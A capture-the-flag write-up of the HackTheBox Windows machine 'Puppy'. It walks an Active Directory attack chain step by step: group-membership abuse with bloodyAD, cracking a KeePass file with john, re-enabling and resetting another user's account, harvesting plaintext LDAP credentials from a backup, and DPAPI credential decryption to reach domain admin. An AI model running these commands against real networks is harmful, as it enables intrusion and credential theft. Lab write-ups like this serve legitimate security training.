27 September 2025

Puppy

by 0xW1LD

Puppy Icon

Information Gathering

Assumed Breach

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

Port Scan

As usual let’s start with an nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PORT      STATE SERVICE
53/tcp    open  domain
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2049/tcp  open  nfs
3260/tcp  open  iscsi
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49685/tcp open  unknown
49715/tcp open  unknown
57254/tcp open  unknown

Foothold

Let’s start of by gathering bloodhound data.

1
2
3
4
5
6
nxc ldap puppy.htb -u levi.james -p KingofAkron2025! --bloodhound -c all --dns-server $TARGET
LDAP        10.129.243.113  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP        10.129.243.113  389    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP        10.129.243.113  389    DC               Resolved collection methods: session, dcom, rdp, trusts, acl, container, objectprops, localadmin, group, psremote
LDAP        10.129.243.113  389    DC               Done in 00M 32S
LDAP        10.129.243.113  389    DC               Compressing output into /root/.nxc/logs/DC_10.129.243.113_2025-05-18_050640_bloodhound.zip

Looks like levi.hames is part of HR which has GenericWrite over Developers.

Levi James Bloodhound

We see three users in the Developer group.

Developer Group

So let’s Add ourselves to Developers.

1
2
bloodyAD --host puppy.htb -d puppy.htb -u levi.james -p KingofAkron2025! add groupMember 'Developers' levi.james
[+] levi.james added to Developers

Looking around we see that we now have access over the Developer share in SMB.

1
2
3
4
5
6
7
8
9
10
11
12
nxc smb puppy.htb -u levi.james -p KingofAkron2025! --shares
SMB         10.129.243.113  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.243.113  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.243.113  445    DC               [*] Enumerated shares
SMB         10.129.243.113  445    DC               Share           Permissions     Remark
SMB         10.129.243.113  445    DC               -----           -----------     ------
SMB         10.129.243.113  445    DC               ADMIN$                          Remote Admin
SMB         10.129.243.113  445    DC               C$                              Default share
SMB         10.129.243.113  445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.129.243.113  445    DC               IPC$            READ            Remote IPC
SMB         10.129.243.113  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.243.113  445    DC               SYSVOL          READ            Logon server share

The DEV share contains a keypass database file.

1
2
3
4
5
6
smb: \> ls
  .                                  DR        0  Sun Mar 23 18:07:57 2025
  ..                                  D        0  Sun Mar  9 03:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 18:09:12 2025
  Projects                            D        0  Sun Mar  9 03:53:36 2025
  recovery.kdbx                       A     2677  Wed Mar 12 13:25:46 2025

Let’s download the recover.kdbx file.

1
2
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)

We can use keepass2john to get the hash of the file.

1
2
keepass2john ../recovery.kdbx
recovery:$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9

Brute forcing this using john we get the following password: liverpool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
john --wordlist=`fzf-wordlists` recovery.pem
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 128/128 SSE2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 16 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
liverpool        (recovery)
1g 0:00:00:16 DONE (2025-05-18 13:34) 0.05967g/s 2.864p/s 2.864c/s 2.864C/s purple..1234567890
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Looking through the keepass database with keepassxc we find the following credentials:

User

If we try to evil-winrm as Adam.Silver who is part of the Remote Management group we see an error.

1
2
3
4
5
6
7
8
9
evil-winrm -i puppy.htb -u adam.silver -p HJKL2025!

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

This is likely due to his account being disabled, given that Ant.Edwards has GenericAll on Adam.Silver.

Ant.Edwards Generic Write on Adam.Silver

We can remove the Account Disabled flag.

1
2
bloodyAD --host puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

It still doesn’t work for me so let’s change his password.

1
2
bloodyAD --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' set password adam.silver 'P@ssword!'
[+] Password changed successfully!

Success!

1
2
3
4
5
6
evil-winrm -i dc.puppy.htb -u adam.silver -p 'P@ssword!'

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>

Just like that we have User!

Root

Steph.cooper

Looking around we can find a Backups Folder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          4/4/2025   3:40 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---          3/8/2025   8:52 AM                Users
d-----         5/13/2025   4:40 PM                Windows

Within it there’s a site-backup zip file.

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Backups> ls


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

Let’s download it and take a look.

1
2
3
4
5
6
7
8
ls -la
total 12
drwxr-xr-x 1 root root 4096 Dec 31  1979 .
drwxrwx--- 1 root root 4096 May 18 05:58 ..
drwxrwxr-x 1 root root 4096 Dec 31  1979 assets
drwxrwxr-x 1 root root 4096 Dec 31  1979 images
-rw-rw-r-- 1 root root 7258 Dec 31  1979 index.html
-rw-r--r-- 1 root root  864 Dec 31  1979 nms-auth-config.xml.bak

The nms-auth-config.xml.bak file looks interesting, if we take a look inside we find steph.cooper’s password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

Steph.cooper-adm

Let’s WinRM using steph.cooper’s credentials, looking around we can find Microsoft Edge.lnk on the Desktop.

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\steph.cooper\Desktop> ls


    Directory: C:\Users\steph.cooper\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   7:40 AM           2312 Microsoft Edge.lnk

Which would indicate usage of Microsoft Edge with a potentially saved password.

Usually such credentials are saved and protected by dpapi, if we look around for where dpapi saves credentials we can find the, hidden, credential file.

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> ls -Force


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

Let’s convert the file to base64 so we can transfer it over to our local machine.

1
2
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [System.Convert]::ToBase64String((Get-Content C8D69EBE9A43E9DEBF6B5FBD48B521B9 -Encoding byte))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc

Decode it and write it on our machine.

1
2
echo 'AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc' | base64 -d
 > C8D69EBE9A43E9DEBF6B5FBD48B521B9

This credential file is useless right now since it’s protected, we can unencrypt it using the key which we can find, hidden, in the Protect directory.

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> dir -Force


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs-         2/23/2025   2:36 PM             24 Preferred

Let’s transfer this over using the same base64 encode and decode method used earlier.

Now let’s use dpapi.py to decrypt the masterkey.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

And let’s now use this key to decrypt the credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description :
Unknown     :
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

Let’s try to use this password on the steph.cooper_adm account.

1
2
3
4
5
nxc smb dc.puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!' -x 'type C:\Users\Administrator\Desktop\root.txt'
SMB         10.129.238.85   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.238.85   445    DC               [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (admin)
SMB         10.129.238.85   445    DC               [+] Executed command via wmiexec
SMB         10.129.238.85   445    DC               b46e3c818cf746fc0eeb975da3a77572

Just like that we have Root!

tags: os/windows - diff/medium